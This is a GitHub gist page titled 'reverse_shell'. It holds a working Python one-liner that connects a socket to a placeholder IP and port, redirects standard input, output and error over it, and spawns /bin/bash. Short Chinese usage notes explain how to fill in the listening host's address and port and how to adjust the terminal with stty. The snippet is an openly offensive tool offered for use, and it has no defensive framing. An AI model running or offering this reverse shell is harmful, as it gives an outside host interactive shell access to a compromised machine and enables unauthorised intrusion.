Skip to content

Instantly share code, notes, and snippets.

@thuhak
Last active January 24, 2019 09:05
Show Gist options
  • Save thuhak/3fa19049e88c081b0fcb8940e2eb1b9c to your computer and use it in GitHub Desktop.
Save thuhak/3fa19049e88c081b0fcb8940e2eb1b9c to your computer and use it in GitHub Desktop.
reverse_shell
python -c "import socket,pty,os;s=socket.socket(2,1); s.connect(('IP',PORT)); fd = s.fileno();os.dup2(fd,0); os.dup2(fd,1); os.dup2(fd,2); pty.spawn('/bin/bash')"
  • ip替换成源主机ip
  • port是源主机监听端口
  • 使用exit退出shell,不要使用
  • 通过stty -echo intr ^F修改终端配置
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment